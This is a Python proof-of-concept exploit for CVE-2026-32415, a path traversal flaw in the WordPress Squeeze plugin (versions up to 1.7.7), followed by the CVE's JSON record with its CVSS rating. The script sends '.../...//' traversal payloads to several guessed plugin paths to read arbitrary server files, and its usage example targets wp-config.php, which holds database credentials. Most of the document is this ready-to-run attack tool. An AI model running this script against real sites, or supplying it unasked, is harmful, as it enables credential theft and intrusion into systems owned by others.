CVE-2026-32415

import requests import sys # CVE-2026-32415 Path Traversal PoC # Target: WordPress Squeeze Plugin <= 1.7.7 def exploit_path_traversal(target_url, file_to_read): """ Exploit the path traversal vulnerability in Squeeze plugin The vulnerability allows reading arbitrary files via '.../...//' sequence """ # Construct the malicious path traversal payload # Using '.../...//' to bypass path validation payload = f".../...//.../...//{file_to_read}" # Common Squeeze plugin endpoints that may be vulnerable endpoints = [ "/wp-content/plugins/squeeze/includes/", "/wp-content/plugins/squeeze/", "/wp-content/plugins/squeeze/inc/" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint + payload try: response = requests.get(url, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Success! File read: {file_to_read}") print(f"[+] URL: {url}") print(f"[+] Content length: {len(response.content)}") return response.text elif response.status_code == 200 and len(response.content) == 0: print(f"[-] Endpoint {endpoint} returned empty content") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed for {endpoint}: {str(e)}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2026_32415_poc.py <target_url> <file_to_read>") print("Example: python cve_2026_32415_poc.py http://example.com wp-config.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print(f"[*] CVE-2026-32415 Squeeze Plugin Path Traversal PoC") print(f"[*] Target: {target}") print(f"[*] Attempting to read: {file_path}") result = exploit_path_traversal(target, file_path) if result: print("\n[+] File content:") print(result[:1000]) # Print first 1000 chars else: print("\n[-] Exploitation failed. Target may not be vulnerable or file not accessible.")

{"cve": {"id": "CVE-2026-32415", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:58.787", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path Traversal: '.../...//' vulnerability in Bogdan Bendziukov Squeeze squeeze allows Path Traversal.This issue affects Squeeze: from n/a through <= 1.7.7."}, {"lang": "es", "value": "Salto de ruta: La vulnerabilidad '.../...//' en Bogdan Bendziukov Squeeze squeeze permite el salto de ruta. Este problema afecta a Squeeze: desde n/d hasta &lt;= 1.7.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-35"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/squeeze/vulnerability/wordpress-squeeze-plugin-1-7-7-directory-traversal-vulnerability?_s_id=cve", "source": "[email protected]"}]}}